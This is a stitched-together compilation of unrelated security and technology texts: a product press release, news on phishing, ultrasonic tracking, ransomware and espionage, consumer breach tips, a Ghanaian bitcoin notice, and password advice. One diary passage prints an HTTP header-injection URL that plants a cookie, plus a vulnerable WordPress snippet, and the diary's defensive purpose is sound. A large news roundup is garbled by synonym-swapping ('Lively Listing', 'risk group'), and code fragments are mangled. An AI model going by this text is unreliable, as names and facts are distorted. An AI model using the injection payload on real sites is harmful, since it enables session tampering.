"Until now, businesses have been caught in a complexity paradox," said Wasim Ahmad, vice president of marketing at Voltage. "They need to protect customer confidentiality, secure their business assets, and mitigate the risk of information breaches and data loss. But traditional encryption products are too complex for everyday use. Voltage SecureFile changes the rules of the game, protecting files anywhere, anytime -- regardless of their location."
With these capabilities in mind, Voltage SecureFile protects sensitive company information -- such as roadmaps, financial documents, forecasts, HR information and other intellectual property. Voltage SecureFile also safeguards documents as they travel between business partners such as sales channels, supply chains, outsourcers, contractors and partners.
Voltage SecureFile is the rare solution that offers user simplicity coupled with an unmatched breadth of capabilities. It protects information for the individual desktop user and via a command line for applications, but also scales to safeguard documents inside collaborative environments such as IBM Lotus Quickr and Microsoft Office SharePoint Server. Moreover, Voltage SecureFile can be deployed either on premise or as a managed service -- offering flexibility to businesses of all sizes.
Said Michael Clarage, CTO of Waltham, MA-based Concentrica, a company specializing in clinical document delivery: "Voltage SecureFile gives us confidence that our customer's information is safe and secure, no matter where it goes or how it gets there. The risk and danger of information falling into the wrong hands is mitigated. Encryption is a non-negotiable 'must have' for electronic health data, and Voltage SecureFile enables us to meet HIPAA compliance requirements. "Companies have an implicit contract to protect the private information of their customers," said Mike Rothman, president, Security Incite. "Regardless of regulatory mandates, protecting customer data is the right thing to do. The easiest way to make happy customers into former customers is to violate their trust. So the impetus is on security professionals to control customer data in a transparent and secure fashion, especially as new file types, collaboration environments, and application architectures like SOA take root."
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Voltage Security, Inc., an enterprise security company, is the global leader in information encryption. Voltage solutions, based on next generation cryptography, provide encryption that just works for protecting valuable, regulated and sensitive information persistently and based on policy. Voltage delivers power, simplicity and the lowest total cost of ownership in the industry through the use of award-winning Voltage Identity-Based Encryption™ (IBE). Voltage Security offerings include Voltage SecureMail™, Voltage SecureFile™, the Voltage Data Protection System™ and the Voltage Security Network™ (VSN), an on-demand managed service for the extended business network.
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The "Google Docs" phishing attack that wormed its way through thousands of e-mail inboxes earlier this week exploited a threat that had been flagged earlier by at least three security researchers—one raised issues about the threat as early as October of 2011. In fact, the person or persons behind the attack may have copied the technique from a proof of concept posted by one security researcher to GitHub in February.
The issue may not technically be a vulnerability, but the way Google has implemented its application permissions interface—based on the OAuth 2 standard used by a large number of Web application providers—makes it far too easy to fool unsuspecting targets into giving away access to their cloud, e-mail, storage, and other Google-associated accounts. The websites used in the phishing attack each used domains that mimicked Google's in some way. The sites would call a Google Apps Script that used Google's own authentication system against itself. The malicious Web application (named "Google Docs") was delivered by an HTML e-mail message that looked so much like a genuine Google Docs sharing request that many users just sailed right through the permissions requested without thinking.
Researchers have repeatedly warned Google about this potential social engineering threat, and this shortcoming had already been exploited in malicious e-mails used by an alleged state actor. While Google quickly shut down the malicious application's access to customers' credentials, the threat remains, since all it takes to relaunch a campaign is to configure another application with Google's authentication API.
Almost a year after app developer SilverPush vowed to kill its privacy-threatening software that used inaudible sound embedded into TV commercials to covertly track phone users, the technology is more popular than ever, with more than 200 Android apps that have been downloaded millions of times from the official Google Play market, according to a recently published research paper.
As of January, there were 234 Android apps that were created using SilverPush's publicly available software developer kit, according to the paper, which was published by researchers from Technische Universitat Braunschweig in Germany. That represents a dramatic increase in the number of Android apps known to use the creepy audio tracking scheme. In April 2015, there were only five such apps.
The apps silently listen for ultrasonic sounds that marketers use as high-tech beacons to indicate when a phone user is viewing a TV commercial or other type of targeted audio. A representative sample of just five of the 234 apps have been downloaded from 2.25 million to 11.1 million times, according to the researchers, citing official Google Play figures. None of them discloses the tracking capabilities in their privacy policies.
On Wednesday, Kenneth Lipp, a contributor to the Daily Beast, was doing what amounts to a random search on the security search engine Shodan when he discovered what appears to be a Web console for full-motion video feeds from two Predator drones.
The website Lipp found bears the logos of the National Reconnaissance Office, the National Geospatial-Intelligence Agency's (NGA's) Aerospace Data Facility-East, and the Washington University Cortex Innovation Center—an incubator that has partnered with NGA. The site displayed streaming video from drones named "Ranger1" and "Bonker," apparently flying somewhere over the Gulf of Mexico along the coast of Florida. So he tweeted and blogged about it. Soon, many were watching the same thing: aerial surveillance video of boats speeding across the Gulf's waters.
HTTP Headers... the Achilles' heel of many applications, (Fri, May 5th)
When browsing a target web application, a pentester is looking for all entry or injection points present in the pages. Everybody knows that a static website padding:5px 10px"> form action=/view.php method=post input name=article id=article input type=submit value=Submit /form
In both cases, the pentester will have a deeper look at the values that can be passed to the article parameter.
But, there are alternative ways to interact with a website. Today, modern sites have multiple versions available. Depending on the visitors browser, a mobile or light version of the website can be returned, optimised for mobile phones or tablets. Some websites react in different ways just based on the User-Agent passed by the browser. Chris John Riley developed a few years ago a nice script that I padding:5px 10px"> $ ./ua-tester.py -u www.company.com -f my-useragents.txt -v
The HTTP referrer is also a very nice way to abuse some websites. A few years ago, I remember a Belgian newspaperwhich granted access to paid content based on the referrer! The HTTP headers passed in every HTTP requests are also a good source of vulnerabilities. We have a new example with two Wordpress vulnerabilities released this week:CVE-2017-8295[2] and a second one based on CVE-2016-10033[3].
The first affect the password reset feature provided by Wordpress (up to version 4.7.4). It might allow an attacker to get the password reset link sent via email and use it to compromise the user account then have more access to the Wordpress site. The second one has been discovered in 2016 but disclosed two days ago. This one affects thePHPMailer mailer component of Wordpress core 4.6. The Wordpress development team initially reported as not affected by the bug discovered in 2016. They are interesting because both are vulnerable to the injection of malicious data through HTTP headers. Many web servers (Apache included) set the SERVER_NAME variable using the hostname supplied by the client.
Keep in mind: When you read ... supplied by the client, you must understand: ... that can be altered or poisoned by the client padding:5px 10px"> if ( !isset( $from_email ) { $sitename = strtolower( $_SERVER[SERVER_NAME if ( substr( $sitename, 0, 4 ) = www. } $from_email = [email protected] }
Wordpress just uses theHost: HTTP header provided by the client padding:5px 10px"> http://www.company.com/shop/view.php?article=1234%0D%0ASet-Cookie%3A%20MyCookie=pwn3d
In the padding:5px 10px"> HTTP/1.1 302 Object moved Connection: close Location: search.php?article=1234 Set-Cookie: MyCookie=pwn3d Content-Length: 105
Those attacks are not new, most of them are known for years but are still relevant today. Also, think outside HTTP. Most protocols use headers that might be abuse. A good example was Postfix in 2014 which was vulnerable to the ShellShock attack via SMTP headers[4].
The Top-10 OWASP project keeps injection (of any kind) as the first security issue since 2010[5]. They also have a project called Secure Headers Project which address this problem[6]. To resume, never trust data coming from the client side! | https://newsinfosec.com/archive/infosec.05-May-2017.html |
The European Union every week in the past Friday publicly attributed the GhostWriter cyberespionage and disinformation operation to Russia. “The European Union and its Member States strongly denounce these malicious cyber actions, which all concerned should put to an finish instantly. We urge the Russian Federation to stick to the norms of accountable state behaviour in our on-line world.” The attribution and warning did not say which nations had acquired the attentions of GhostWriter, however, because the Washington Put up notes, the timing of the communiqué suggests concern for Germany, which held elections final weekend.
Independently, Finland’s Safety and Intelligence Service referred to as out each Russian and Chinese language cyberespionage and affect operations as main persevering with threats, Bloomberg reports.
According to Remainder of World, Cambodian Prime Minister Hun Sen zoombombed a web-based convention held by the nation’s banned opposition get together to inform members that their communications had been being monitored.
Microsoft on Monday released its examine of a brand new, persistent, post-exploitation backdoor, “FoggyWeb,” utilized by the Nobelium risk group. FoggyWeb is used each for exfiltration of victims’ information (together with configuration databases of compromised Lively Listing Federation Service servers, decrypted token-signing certificates, and token-decryption certificates) and for deploying and executing extra malware payloads. Nobelium is Microsoft’s identify for the Russian authorities risk group others name Cozy Bear; it is related to Russia’s SVR international intelligence service (and generally with the FSB safety service). Microsoft’s report contains detailed mitigation recommendation, together with the next:
“Guarantee solely Lively Listing Admins and AD FS Admins have admin rights to the AD FS system.
“Scale back native Directors’ group membership on all AD FS servers.
“Require all cloud admins to make use of multi-factor authentication (MFA).
GriftHorse and a serious premium service rip-off.
Zimperium late Wednesday described the actions of an enormous Android rip-off marketing campaign they’re calling “GriftHorse.” Round ten-million units worldwide have been affected, and losses may quantity to a whole lot of hundreds of thousands of Euros. It is a premium providers rip-off wherein the crooks use malicious apps (and never the customary phishing) to enroll customers in paid providers they do not need.
The researchers say, “Forensic proof of this lively Android Trojan assault, which we have now named GriftHorse, means that the risk group has been working this marketing campaign since November 2020. These malicious functions had been initially distributed via each Google Play and third-party utility shops. Zimperium zLabs reported the findings to Google, who verified the offered data and eliminated the malicious functions from the Google Play retailer. Nevertheless, the malicious functions are nonetheless accessible on unsecured third-party app repositories.”
Notes on ransomware.
On Friday ZeroFox found and described a brand new ransomware pressure they’re calling “Colossus.” Its one identified sufferer is a US-based automotive dealership group, and the assault is the now acquainted double-extortion that each encrypts information after which threatens their public launch. Colossus hasn’t proven a lot disposition to chatter on the darkish net, however its operation suggests familiarity with the ransomware-as-a-service felony market. ZeroFox notes, “these operators look like no less than extremely acquainted if in a roundabout way related to different present ransomware-as-a-service (RaaS) teams based mostly on their techniques, methods, and procedures (TTPs). Their ransom word is analogous in construction and content material to different identified ransomware merchandise, together with some EpsilonRed/BlackCocaine and REvil/Sodinokibi samples. This might point out utilizing an analogous builder for the ransomware recordsdata, and follows a sample of ransomware teams disappearing and reappearing with a rebranded identify and comparable toolsets.”
The File reports that the most important European call-center operator GSS has sustained an assault with Conti ransomware. A supply informed the File that “[a]mong the affected providers are Vodafone Spain, the MasMovil ISP, Madrid’s water provide firm, tv stations, and lots of personal companies.”
Bitdefender’s newest month-to-month risk report, launched yesterday, notes the resurfacing of REvil, below its acquainted identify. The report additionally counts some 250 lively ransomware strains, which is so much, particularly given the challenges of survivor bias (duly famous by Bitdefender) and the difficulties of individuating issues as slippery as unhealthy actors. Anyway, their identify is Legion, and, to attract a conclusion the report would not, a take a look at the international locations focused means that half to two-thirds of Legion most likely have a letter of marque from 24 Kuznetsky Most (not removed from Ulitsa Lubyanka).
A commodified information-stealer within the C2C market.
Kaspersky researchers have an account of “BloodyStealer,” a Trojan presently being bought in darkweb souks catering to criminals. BloodyStealer is hawked as an data stealer helpful for employment in opposition to avid gamers utilizing a variety of platforms, together with Steam, Epic Video games Retailer, and EA Origin. The Trojan is evasive and low-cost, going for a month-to-month subscription of $10 or a lifetime subscription of solely $40. BloodyStealer can be utilized in opposition to targets of many varieties, not simply gaming platforms, however Kaspersky thinks avid gamers more likely to determine excessive on the criminals’ hit lists.
Kaspersky provides, “This malware additionally stands out to researchers due to a number of anti-analysis strategies used to complicate its reverse engineering and evaluation, together with the usage of packers and anti-debugging methods. The stealer is bought on the underground market and clients can shield their pattern with a packer they like or use it as a part of one other multi-stage an infection chain. Kaspersky specialists detected assaults utilizing BloodyStealer in Europe, Latin America, and the Asia-Pacific area.”
DDoS is rising in reputation as an extortion instrument.
Distributed denial-of-service assaults look like returning as a big if episodic nuisance. AtlasVPN puts the variety of DDoS assaults within the first half of 2021 at a file 4.5 million. One current sufferer is North Carolina-based voice-over-IP supplier Bandwidth, which, BleepingComputer reports, started experiencing outages on Saturday.
Nexusguard describes a distributed denial-of-service assault method, “BlackStorm,” more practical and probably damaging than the extra acquainted DNS amplification assaults. Nexusguard explains, “Hackers can obtain Black Storm assaults extra simply than amplification assaults, which may rapidly dominate the cyberworld. Black Storm assaults may very well be manifested by hackers using a BlackNurse assault in a reflective method (rBlackNurse assaults). By producing spoofed UDP requests to CSP units’ closed UDP ports—a mirrored image of the ping replies returned to the CSP community ping sources in BlackNurse assaults—the units reply with vacation spot port unreachable responses. As extra units proceed to reply to the spoofed IP supply, the quantity of responses utterly overwhelms the goal CSP community and creates the Black Storm assault.”
NSA and CISA subject steering on safe use of VPNs.
NSA and CISA on Tuesday launched guidance on tips on how to configure and use digital personal networks (VPNs) safely and securely. VPNs present entry to protected networks, and are subsequently particularly engaging targets for cyberattacks. The companies’ nine-page factsheet concludes, “Distant entry VPNs are entryways into company networks and all of the delicate information and providers they’ve. This direct entry makes them prized targets for malicious actors. Preserve malicious actors out by choosing a safe, standards-based VPN and hardening its assault floor. That is important for making certain a community’s cybersecurity.”
Azure Lively Listing brute-force flaw.
SecureWorks has discovered a brute-force vulnerability affecting Azure Lively Listing’s Seamless Single Signal-On characteristic. The researchers state, “Menace actors can exploit the autologon usernamemixed endpoint to carry out brute-force assaults. This exercise just isn’t logged in Azure AD sign-ins logs, enabling it to stay undetected. As of this publication, instruments and countermeasures to detect brute-force or password spray assaults are based mostly on sign-ins log occasions….The exploitation just isn’t restricted to organizations utilizing Seamless SSO. Menace actors can exploit the autologon usernamemixed endpoint in any Azure AD or Microsoft 365 group, together with organizations that use Move-through Authentication (PTA). Customers with out an Azure AD password will not be affected.”
Microsoft initially dismissed this habits as being “by design,” however on September thirtieth stated that it will subject mitigations for the problem. A Microsoft consultant informed Secureworks:
“We’re including logging to the Seamless SSO endpoint to make it possible for all steps of the authentication and authorization circulate present up within the sign-in logs, together with profitable, failure, and deserted sign-in makes an attempt.
“We’re including the flexibility to have the Seamless SSO endpoint on/off solely when Seamless SSO is enabled within the tenant and making it off by default, which must also be accessible to the shoppers within the coming weeks.
“Concerning Brute-Power password spray assaults, the endpoint talked about is protected with Azure AD Good Lockout and IP lockout capabilities. These measures will enable clients to have the ability to reply to such assaults.”
Contactless Apple Pay proof-of-concept.
Researchers from the Universities of Birmingham and Surrey have found a option to full massive Apple Pay transactions from locked iPhones which have the Specific Transit characteristic enabled, the BBC reports. The exploit solely applies to transactions that use Visa. According to 9to5Mac, “Apple stated the fault lies in Visa’s system, and that any unauthorized funds are lined by Visa’s zero legal responsibility coverage. Visa stated ‘variations of contactless fraud schemes have been studied in laboratory settings for greater than a decade and have confirmed to be impractical to execute at scale in the true world.'”
ChamelGang targets Russia’s gas, power, and aviation sectors.
Optimistic Applied sciences has observed a brand new risk actor dubbed “ChamelGang” that is focusing on Russia’s gas, power, and aviation industries. The group has additionally been lively in opposition to targets in 9 different international locations, together with the USA, India, Nepal, Taiwan, and Japan. In a few of these circumstances, ChamelGang compromised authorities servers. Optimistic Applied sciences hasn’t attributed the actor to any particular nation. The corporate said, “One distinctive characteristic of ChamelGang’s assaults is the usage of new malware: ProxyT, BeaconLoader, and the DoorMe backdoor, which weren’t beforehand identified. The latter is a passive backdoor, which considerably complicates its detection. The group additionally makes use of better-known variants equivalent to FRP, Cobalt Strike Beacon, and Tiny shell.”
The corporate’s Head of Info Safety Menace Response, Denis Goydenko added, “Among the many malware samples we discovered, probably the most fascinating is the DoorMe backdoor. It is a native IIS module that’s registered as a filter via which HTTP requests and responses are processed. Its precept of operation is uncommon: the backdoor processes solely these requests wherein the proper cookie parameter is about. On the time of the incident investigation, DoorMe was not detected by antivirus instruments, and though the method of putting in this backdoor is understood, we’ve not seen its use in current instances. The backdoor provides attackers huge alternatives within the captured programs: it could execute instructions through the use of cmd.exe and creating a brand new course of, write recordsdata in two methods, and duplicate timestamps. In complete, six totally different instructions have been carried out.”
Russian authorities have detained Ilya Sachkov, founder and chief govt of cybersecurity agency Group IB on suspicion of “state treason,” Reuters reports. Authorities searched Group IB’s Moscow places of work early this week. TASS was approved to quote presidential spokesman Dmitry Peskov as saying the Kremlin was conscious of the arrest from “media stories,” however that he had no additional data to supply. Group-IB is confident that Sachkov shall be vindicated, and that Dmitry Volkov will run the corporate throughout Sachkov’s detention. The corporate says it is persevering with operations, and that clients’ information are protected in its “decentralized infrastructure.” The corporate has worldwide headquarters in London, Singapore, Dubai, and New York; it regards Singapore as its main headquarters.
TASS was subsequently approved to disclose a bit extra in regards to the treason costs Russian authorities have introduced in opposition to Group-IB’s CEO Ilya Sachkov this week. A supply tells the outlet that, “The investigation suspects Sachkov of handing over categorised data on cybersecurity to international intelligence companies.” Which intelligence service “employed” him is not being revealed, though TASS observes that there are a variety of (unnamed) prospects.
Huawei CFO Meng Wanzhou has returned to China after reaching a deferred prosecution agreement with the US Division of Justice. Hours after her launch, two Canadian residents, Michael Kovrig and Michael Spavor, had been allowed to return to Canada after spending almost three years in a Chinese language jail on costs of espionage. Whereas the Chinese language authorities has maintained that the Canadian residents’ detention was unrelated to Ms. Wanzhou’s arrest in Canada, International Coverage calls it a transparent instance of “hostage diplomacy.”
The Wall Road Journal says a US cryptocurrency skilled has pleaded responsible to unlawful export of blockchain know-how to North Korea. Audrey Strauss, US Lawyer for the Southern District of New York, stated, “Griffith labored with others to offer cryptocurrency providers to North Korea and help North Korea in evading sanctions, and traveled to North Korea to take action. Within the course of, Griffith jeopardized the nationwide safety of the USA by undermining the sanctions that each Congress and the President have enacted to position most stress on the risk posed by North Korea’s treacherous regime.”
Courts and torts.
A lawsuit has alleged that an Alabama hospital that delivered a child whereas its programs had been affected by a ransomware assault missed a medical situation that resulted within the child’s loss of life 9 months later, Healthcare IT Information reports. The newborn’s mom, Teiranni Kidd, says she was unaware that the hospital was coping with a cyberattack when she arrived for a labor induction. The lawsuit alleges, “Upon data and perception, the one fetal tracing that was accessible to healthcare suppliers throughout Teiranni’s admission was the paper file at her bedside. As a result of quite a few digital programs had been compromised by the cyberattack, fetal tracing data was not accessible on the nurses’ station or by any doctor or different healthcare supplier who was not bodily current in Teiranni’s labor and supply room. In consequence the variety of healthcare suppliers who would usually monitor her labor and supply was considerably diminished and necessary safety-critical layers of redundancy had been eradicated.”
The hospital denies wrongdoing, stating, “We stayed open and our devoted healthcare staff continued to take care of our sufferers as a result of the sufferers wanted us and we, together with the unbiased treating physicians who exercised their privileges on the hospital, concluded it was protected to take action.”
UC San Diego Well being is dealing with a lawsuit over a phishing assault which will have uncovered delicate data belonging to just about 500,000 sufferers and workers, the San Diego Union-Tribune reports. Among the many information probably uncovered had been “Full names, addresses, dates of delivery, e mail addresses, fax numbers, claims data together with dates and prices of care acquired, laboratory outcomes, medical diagnoses and circumstances, medical file numbers, prescription data, remedy data, Social Safety numbers, authorities identification numbers, monetary account numbers, pupil identification numbers, usernames and passwords.”
Insurance policies, procurements, and company equities.
US President Biden will convene a thirty-country assembly in October to debate the affect of ransomware on financial and nationwide safety, CNN reports. Biden stated Friday that the aim of the assembly shall be “to speed up our cooperation in combating cybercrime, bettering legislation enforcement collaboration, stemming the illicit use of cryptocurrency, and interesting on these points diplomatically.”
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Digital identity is represented by a computer system with an external proxy information. The agent may be a person, organization, or device. In the digital identity information is used by the computer to make a decision on how to interact with external agents about. It allows a computer to answer two basic questions:
Digital identity information contained in these problems and to be without the involvement of a human operator to answer. Digital identity allows our computer and they provide service to be automated access, and has the potential to mediate the relationship between computers.
The so-called “digital identity” is used to refer to citizenship and personal identity is due to the widespread use of identity information to indicate the problem of people in the computer systems.
Digital identity is now commonly used in the required personnel data for storage in a computer system linked to their citizens, or national, identity approach. In addition, the use of a digital ID is now very common, much discussion, please refer to the “digital identity” as a collection of information throughout a person’s online activities. Especially in these information it is public and can be used by other people to discover this person’s civil status. In this broader sense, the digital identity is a version, or face, a person’s social identity. This can also be referred to as online identity.
Legal and social effects of digital identity is complex and challenging. However, they are merely a consequence of the increasing use of computers, and the need to provide the computer with information for identifying an external agent.
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CobraLocker Ransomware is a pretty severe infection, also known as ransomware or file-encrypting malware. You may not necessarily have heard of or ran into it before, and to figure out what it does might be especially shocking. You will not be able to access your data if they’ve been encoded by ransomware, which generally uses strong encryption algorithms. File encrypting malicious software is classified as a highly harmful infection since decrypting files may be impossible.
You’ll be provided the option of decrypting files if you pay the ransom, but that option is not recommended for a few reasons. Data decryption even after payment isn’t guaranteed so your money may just be wasted. Bear in mind that you would be paying cyber crooks who won’t feel compelled to send you a decryptor when they have the choice of just taking your money. That money would also go into future activities of these crooks. Do you really want to be a supporter of criminal activity that does damage worth billions of dollars. Crooks are attracted to easy money, and when victims pay the ransom, they make the ransomware industry appealing to those kinds of people. You may end up in this kind of situation again, so investing the requested money into backup would be better because you wouldn’t need to worry about losing your data. If backup was made before you got an infection, you can just fix CobraLocker Ransomware virus and proceed to unlock CobraLocker Ransomware files. You may also not be familiar with how ransomware are distributed, and we will discuss the most common ways in the below paragraphs.
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In what has become the Nightmare before (and after) Christmas, millions of individuals are dealing with the fallout of the data breach at Target. The holidays have passed and not a creature is stirring except for mom and dad scrambling to take care of that pesky Target bill showing that they owe a few thousand dollars for a dozen Blu-ray copies of "Pineapple Express," five flat screen televisions, and ten Xboxes. The wrapping paper, decorations, ornaments and trees have all been packed away and the only remaining vestiges of Christmas are the lights frozen to your gutter and that headache of a bill reminding you that you now have to deal with being the victim of identity theft. Every year there seems to be another major security breach that hits the news: Target last year, Yahoo in 2012, Sony in 2011, Facebook in 2010, and T.J. Maxx in 2006. It really is enough to make you want to go live in a shack on the side of a mountain. (Okay, maybe not). But the truth of the matter is that even shunning online transactions and credit cards all together really does nothing to keep your information from digital exposure. If you have a bank account or credit card somewhere, even only one, then you have some form of digital exposure for your account information to include account numbers, names, ID’s and possibly passwords. Indeed, even if you choose to only use paper, the banks and vendors you frequent are part of the Internet community. After all, a man can never be an island. To engage in the world today is to engage in the digital economy. A while back, we blogged about the inevitability of data breach for companies and what they could do in advance to mitigate the impact. Well, the same is true for consumers. It is inevitable that our data will be involved in one data breach or another. So, here are some basic steps you can take to minimize the threat of your information being stolen.
1. Clip the strip! Cash is not always the safest bet for lots of reasons. For instance, the ATM and credit card you use more than likely has a magnetic strip on the back of it which contains your sensitive information. This is how information was stolen in a major hack and bank run in 2013 and it was at issue in the Target breach as well. Push back on your bank or financial institution to cease use of such cards or select a provider who embeds your encrypted information in a chip instead of a strip. Major card providers are moving in this direction, but slowly.
2. Credit or debit. Use credit whenever possible. This may not be the best for financial purposes (assuming you do not pay off the balance), but it can provide better security as it does require a signature instead of a PIN. PIN information is often stolen with the card, so using only credit provides at least one layer of protection against outright theft in taking your card. Also, signing your card “SEE ID” instead of signing it with your name provides yet another step, at least with in-store purchases. More and more vendors are being trained to ask for ID.
3. Passwords still matter. Use strong passwords and demand strong passwords from those companies that house your sensitive information. A strong password, generally, is no less than eight characters in length, contains a letter (upper and lower case), a number, and a character (%$!@*). And don’t use words you find in a dictionary. Creating such passwords enhances the level of protection for your accounts against password-cracking programs. At a minimum, it buys time to enable you to cancel or freeze your account. Regularly change your passwords as well—no less than every six months and any time you think your account may have been compromised.
4. Get skinny in the New Year! Limit your accounts in number and monitor them regularly. Every account you have is another opportunity for your information to be stolen. Not only is limiting the number of credit cards a good financial decision, it can make good security sense. Use security protections provided by each company as a distinguishing factor on which accounts you keep open (i.e. choose only to use banks with two-factor authentication). Secondly, the less accounts you have, the easier it is to notice fraudulent activity. Indeed, with the Target breach, that was one of the first things recommended to all potential victims.
5. Take credit! Take advantage of your free annual credit report and keep up on accounts opened in your name.
In the end, these tips may do nothing to stop your information from being stolen, but they at least provide some layers of protection, maybe enough of a barrier to enable you to act and disable accounts in the event of a publicized breach. All you can do is all that you can do, but waiting on others to do it for you is not a good option. You truly are the first line of defense. Be vigilant in protecting your information. No measure is fail-safe, but being proactive can certainly frustrate those who are trying to steal your information. So, until the next security breach, kick back and relax in the comfort of your family room, pop in "Pineapple Express," and enjoy one of your five brand new flat screen televisions which, mysteriously, seem to have all the picture quality of staring at the wall. | https://www.ficlaw.com/blog/data-security-privacy/archives/its-not-if-but-when-part-ii-why-consumers-also-need-to-be-just-as-vigilant-as-companies-about-data-security-and-preparing-for-the-next-brea |
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BoG Has Assured The Public To Introduce Cyber Security Guidelines To Safeguard Electronic And Online Financial Transactions.
Bank of Ghana has sounded a cautioned to the general public on the use of bitcoin in the country.
The central bank said it “has taken notice of recent developments in the use, holding, and trading of virtual or digital currencies such as bitcion” and “wishes to notify the general public that these activities in digital currency are currently not licensed under the Payments System Act 2003 (Act662).”
The Bank of Ghana has taken notice of recent developments in the use, holding, and trading of virtual or digital currencies (also known as cryptocurrencies), such as Bitcoin in Ghana.
The Bank of Ghana wishes to notify the general public that these activities in digital currency are currently not licensed under the Payments System Act 2003 (Act 662).
The Bank of Ghana is currently investing a lot of resources to further enhance the payments and settlements system, including digital forms of money and also to introduce cyber security guidelines to safeguard electronic and online financial transactions.
A revised Payments System Act referred to as Payment Systems and Services Bill will be considered by Parliament within the next couple of months. This revision should bring the electronic payments space up to date to international standards and aligned with the evolving electronic payments landscape.
While the Bank of Ghana acknowledges the enormous potential in the blockchain technology and how that can significantly transform the payments system landscape and promote financial inclusion, we are assessing with stakeholders and other international partners how the subsequent use of the blockchain technology into digital currencies would fit into the global financial and payments architecture.
The public is therefore strongly encouraged to do business with only institutions licensed by the Bank of Ghana to ensure that such transactions fall under our regulatory purview.
For the avoidance of doubt, the public can always consult our website (www.bog.gov.gh) for a list of licensed banks and non-bank financial institutions in Ghana.
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The Internet can ease travel concerns in many ways, including flight-delay information, maps of road congestion, and ride-sharing apps. But a Wi-Fi network at the Austin, Texas, airport can now answer one of the great unknowns: How long will I have to wait in line at security?
That information is available thanks to fairly simple technology implemented on a Cisco Systems network run by global Wi-Fi provider Boingo Wireless. It’s an early example of how the so-called Internet of Things can make some parts of life easier.
Austin-Bergstrom International Airport got the nation’s first airport Wi-Fi network in 2000, according to Boingo, which has run the airport’s Wi-Fi since 2008. Now it’s become one of the first airports to implement Passpoint, the standard that lets users of some devices get on networks and roam between them without entering a username and password. The Cisco network that supports Passpoint can also use location technologies for additional services.
Travelers don’t even need to get on the network to take advantage of the security-wait warning system. A forecast for how long each line will take appears on screens right outside the security checkpoint. And any traveler who goes through security with a device that has Wi-Fi or Bluetooth turned on also helps to make the system work, according to Boingo CTO Derek Peterson. Boingo has launched the wait-sensing technology at three airports, all in trial mode, and Austin’s is the first facility where it’s displaying the information.
How it works
Here’s how the system works: Wi-Fi devices with standard settings turned on constantly send out signals looking for nearby Wi-Fi devices and access points. Access points near the security checkpoints detect those signals and the unique MAC (media access control) addresses associated with them. Using that data, the system determines when that device entered the area of the queue and when it reached the other end of the checkpoint, after the owner finished with security.
In some areas, the airport does the same thing with beacons that detect Bluetooth signals emitted by users’ devices. The unique Bluetooth ID identifies each device, so it works the same way as a MAC address. In some areas, the system uses both Wi-Fi and Bluetooth.
Despite using a unique identifier for each device, the system doesn’t identify the person carrying that device, Peterson said: The airport isn’t concerned with who’s made it through security, just how long it took them to get through.
There’s one wait-time display for each line to go through security, so before they get in line, travelers can join the one with the shortest wait. In effect, they do their own load balancing, which can minimize the wait time for everyone.
The signs help set travelers’ expectations, which has reduced complaints about the wait, Peterson said. But the displays are just the beginning. All that data is stored—again, without any names associated with it—and can be analyzed to estimate how long the security line will be at any given time and day. Boingo has shared the information with the airport and the Transportation Security Administration (TSA), which then made changes that reduced wait times, he said. It may also share the data with airlines, which could use it to estimate wait times for their customers. Delivered well before their flights, those estimates could help them decide when to leave for the airport.
Data from Wi-Fi and Bluetooth devices makes for pretty accurate estimates of wait times, according to Peterson. With about two months of historical data, the system can build a predictive model for normal days that’s about 99 percent accurate, he said. In Austin, where the system has more than a year of data built up, it can now account for holiday travel surges. But other events, like the shooting of a TSA agent that shut down part of Los Angeles International Airport last year, can’t really be built into a predictive model.
Outside the lines
Boingo envisions using the network’s location capabilities for other services, too. For example, the airport could predict busy times for restrooms with a detection system similar to the one at the security checkpoints, and it could track movable airport assets such as wheelchairs by equipping them with Wi-Fi radios, Peterson said.
Additional services, for travelers who opt in to them, could include notifications and retail promotions that are based on where someone is in the airport and how much time they have to get to the gate and board, he said.
Wireless location technology has improved dramatically just in the past six to 18 months, according to Peterson. ”It’s come a long way in the accuracy that you’re able to get off of both Bluetooth and Wi-Fi,” he said.
As for luggage, seemingly the most misplaced thing in airports, there may be a Wi-Fi solution for that problem, too.
“That is one of the applications that we’ve toyed with,” Peterson said.
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Mark Brown is the Managing Director for Cybersecurity and Information Resilience Consulting Services at BSI. Mark joined BSI in February 2021 and is responsible for driving the growth of the Consulting Services business stream – Cybersecurity and Information Resilience – at a global level, harnessing a key focus on the Digital Transformation, emerging technologies, Internet of Things (IoT) strategy and how BSI can help clients bridge their cybersecurity and data governance challenges, ensuring alignment to business objectives and organizational resilience.
Mark has almost 30 years of expertise in cybersecurity, data privacy and business resilience consultancy. He has previously held leadership roles at Wipro Ltd., and Ernst & Young (EY), amongst others. Having worked with the Armed Forces up until 2005, Mark brings a level of discipline, commitment, and fortitude to his role, and this reflects in his leadership style. Mark is a strong mentor and believes in trusted empowerment, adding “Leadership is an evolution, managers are appointed.” He is a strong advocate of the power of coaching and trusts his team to make informed decisions independently.
When asked about some of the major influences he’s had, Mark says “Family is always a big influence in how you respond in business and you always look up to the success of your direct family. My father worked for the same company his entire life, so I have a blend of influences from my own professional and personal life that leads me to trust the empowerment and openness of management. He brings a wealth of knowledge including extensive proficiency on the Internet of Things (IoT) and the expanding cybersecurity marketplace having worked for Fortune 10 and Fortune 500 firms as Global CISO and Global CIO/CTO respectively. He has worked and provided services to clients across numerous sectors and industry verticals from Consumer Products, Retail/eCommerce, Legal, Oil and Gas, Mining, Technology, Media, Manufacturing, IT and Real Estate.” To date, Mark believes in having the metaphorical ‘open door’ policy for his staff as he finds that being approachable is crucial to productivity, inspiration and retention within the team. | https://businesschief.eu/interviews/enabling-cyber-resilience-era-emerging-technology |
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While it's impossible to tell exactly where they all came from, some of the larger known data sets in these enormous files came from the Dropbox (2016), LinkedIn (2012), Yahoo! (2013/2014), and Adobe (2013) breaches.
Why should we pay attention to these and other breaches, especially when the passwords are hashed? Can’t one just reset the password and be done with it? Resetting passwords is not the issue. The problem is when the same password is associated with more than one account. Password reuse makes credential stuffing different from brute force – the criminal has a set of already-breached credentials and doesn’t have to guess at the password. Using rainbow or hash tables, criminals can determine the hash of the password. Attackers also know that many people reuse their passwords. The danger is not just accessing someone’s account; it's being able to access other valuable personal accounts that use the same credentials.
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3a. Many password managers provide a function to notify you if you have reused passwords in your password manager database.
4. Use a strong password for each account. This will make it harder for compromised passwords to be reverse hashed.
4a. Whether one uses the traditional models of passphrase and/or password with upper/lower/#/etc. or the more recent NIST recommendations (long password, reduced complexity, check against allowlist, etc.), a strong password will go a long way toward thwarting reverse hashing or cracking.
